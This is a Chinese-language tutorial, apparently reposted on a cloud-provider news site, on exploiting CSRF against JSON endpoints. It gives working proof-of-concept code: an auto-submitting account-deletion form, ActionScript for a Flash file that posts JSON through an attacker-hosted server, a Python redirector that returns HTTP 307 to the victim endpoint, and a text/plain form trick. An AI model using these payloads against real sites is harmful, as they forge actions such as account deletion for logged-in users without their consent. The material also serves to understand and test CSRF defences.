您好,登錄后才能下訂單哦!
怎么在JSON端點上利用CSRF漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
(CSRF + Flash + HTTP 307)=別說了,你已經“死”了!
如果你想通過第三方攻擊者控制的服務器在JSON端點利用一個CSRF漏洞的話,我給大家推薦一個名叫json-flash-csrf-poc的GitHub項目【下載地址】。
在近期的一次滲透測試過程中,我們不僅發現了幾個業務邏輯漏洞、XSS漏洞以及不安全的直接對象引用漏洞,而且還發現了一些跨站請求偽造(CSRF)漏洞。在我們所發現的漏洞中,有一個存在于JSON端點中的CSRF漏洞,這個端點可以接收JSON格式的POST body。如果要利用這個漏洞的話,我們需要發送自定義Content-Type頭并附帶POST body,但標準的JavaScript/HTML不支持這種類型的請求。在使用XMLHttpRequest時,按照CORS規范,自定義Header將調用一個預檢請求。接下來在這篇文章中,我們將告訴大家如何來利用這個CSRF漏洞。
CSRF漏洞對于攻擊者來說,作用是非常大的。如果一個網站存在CSRF漏洞,那么無論請求的來源是哪,該漏洞都可以自動利用瀏覽器的功能來發送認證令牌,而且服務器和應用程序默認情況下并不會區分請求的來源。
比如說,下面這個簡單的PoC利用的就是CSRF漏洞,它可以通過一個POST表單來調用賬號刪除功能:
<html>
<body onload=myform.submit()>
<form action="/userdelete"method="POST" name="myform">
<input type="hidden"id="acctnum" name="acctnum" value="100">
<input type="hidden"id="confirm" name="confirm" value="true">
</form>
</body>
</html>
當一個已登錄的用戶瀏覽這個惡意頁面時(使用同一瀏覽器,且認證會話處于活躍狀態),該頁面將會通過一個POST請求來觸發該功能。由于瀏覽器默認會發送認證令牌,該功能將會在服務器端被觸發,并完成攻擊。
需要注意的是,該請求中的Content-Type頭被設置成了application/x-www-form-urlencoded,因為服務器需要接收URL編碼后的HTML表單數據。
那我們為何不能使用這個PoC來利用JSON端點中的CSRF呢?原因如下:
1. POSTbody需要以JSON格式發送,而這種格式如果用HTML表單元素來構建的話會比較麻煩。
2. Content-Type頭需要設置為application/json。設置自定義Header需要使用XMLHttpRequests,而它還會向服務器端發送OPTIONS預檢請求。
AdobeFlash可以讓Web頁面向用戶請求使用ActionScript,而ActionScript同樣可以用來設置Web請求的自定義Header。除非遠程站點上存在有效的crossdomain.xml文件,否則Flash不會向不同來源的服務器發送帶有自定義Header的請求。
為了完全避免跨域文件的影響,我們使用Flash來向Flash文件所在的同一服務器發送請求(帶有我們的POST Payload),并獲取另一份文件。這個文件將作為重定向器并發送HTTP狀態碼307。307跟其他3XX HTTP狀態碼之間的區別就在于,HTTP 307可以確保重定向請求發送之后,請求方法和請求主體不會發生任何改變。HTTP 307會將POST body和HTTP頭重定向到我們所指定的最終URL,并完成攻擊。
為了設計出最終的PoC,我們先來看一看存在漏洞的JSON端點和相關要求:
1. /userdelete端點所能接受的請求Header需要是application/json。
2. 存在漏洞的端點需要發送下列JSON數據:
{"acctnum":"100","confirm":"true"}
攻擊者的服務器由以下組件和通信流組成:
1. 當目標用戶在瀏覽器中下載并運行了攻擊者所托管的Flash文件后,惡意文件將會向攻擊者的服務器(重定向器)發送HTTP POST請求。
2. 重定向器腳本會在響應信息(Location頭)中返回一個HTTP 307狀態碼。
3. 接下來,目標用戶的瀏覽器會像最終的URL發送另一個帶有HTTP頭的POST請求,并完成攻擊。
為了創建能夠發送Web請求的csrf.swf文件,我們需要按照以下步驟操作:
1. 安裝FlexSDK將ActionScript編譯為swf文件。Flex需要安裝32位的JVM,這一步可以安裝32位JDK來完成。
2. 創建一個包含下列ActionScript代碼的text文件,文件名為csrf.as。
3. 獲取托管Flash文件的主機系統(攻擊者的服務器)IP地址/域名,并替換掉代碼中的<attacker-ip>。
4. 運行“mxmlc csrf.as”命令,將該文件編譯為csrf.swf。
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite
{
public function csrf()
{
super();
var member1:Object = null;
var myJson:String = null;
member1 = new Object();
member1 = {
"acctnum":"100",
"confirm":"true"
};
var myData:Object = member1;
myJson = JSON.stringify(myData);
myJson = JSON.stringify(myData);
var url:String ="http://attacker-ip:8000/";
var request:URLRequest = newURLRequest(url);
request.requestHeaders.push(newURLRequestHeader("Content- Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = newURLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
服務器的基本功能就是托管csrf.swf文件,并且在收到其他HTTP流量時發送307重定向,我們可以使用Python的BaseHTTPServer模塊來實現。
1. 創建一個包含了下列代碼的Python文件,文件名為pyserver.py。
2. 這份Python代碼就是我們托管csrf.swf的Web服務器,它可以向http://victim-site/userdelete端點發送HTTP 307重定向。
3. 通過命令“python pyserver.py”運行Web服務器。
import BaseHTTPServer
import time
import sys
HOST= ''
PORT= 8000
classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
if s.path == '/csrf.swf':
s.send_response(200)
s.send_header("Content-Type","application/x-shockwave-flash")
s.end_headers()
s.wfile.write(open("csrf.swf","rb").read())
return
s.send_response(307)
s.send_header("Location","http://victim-site/userdelete")
s.end_headers()
def do_GET(s):
print(s.path)
s.do_POST()
if__name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST,PORT),RedirectHandler)
print time.asctime(),"Server Starts -%s:%s" % (HOST,PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print time.asctime(),"Server Stops -%s:%s" % (HOST,PORT)
注:我們在創建這個HTTP重定向服務器時,參考了這個【GitHub庫】的代碼。
下面給出的是攻擊的整個過程,其中目標用戶的瀏覽器必須啟用Flash:
1. 用戶在瀏覽器中登錄http://victim-site/。
2. 用戶被重定向到http://attacker-ip:8000/csrf.swf。
3. Flash文件加載成功,并向http://attacker-ip:8000/發送帶有自定義Header的POST Payload。
4. 攻擊者的服務器發送HTTP 307重定向,這樣便能讓POST響應body和自定義HTTP頭按原樣發送到 http://victim-site/。
5. 目標用戶刷新自己的 http://victim-site/ 頁面,并發現自己的帳戶已經被刪除了。
這里我們必須要使用到一份Flash文件以及307重定向器,因為服務器端會驗證請求的Content-Type是否為application/json。如果服務器沒有進行這種檢測,那我們就可以利用JavaScript來創建一個HTTP元素屬性,并用下面的代碼生成和發送POST請求:
<html>
<body>
<script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain"action="https://victim-site/userdelete" method="POST">
<input id="json"type="hidden" name='json' value='test"}'>
</form>
<script>
$(document).ready(function() {
$("#json").attr("name",'{"acctnum":"100","confirm":"true","a":"');
$("#myform").submit();
});
</script>
</body>
</html>
當然了,你也可以使用Fetch_API來發送JSON POST請求并完成攻擊。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。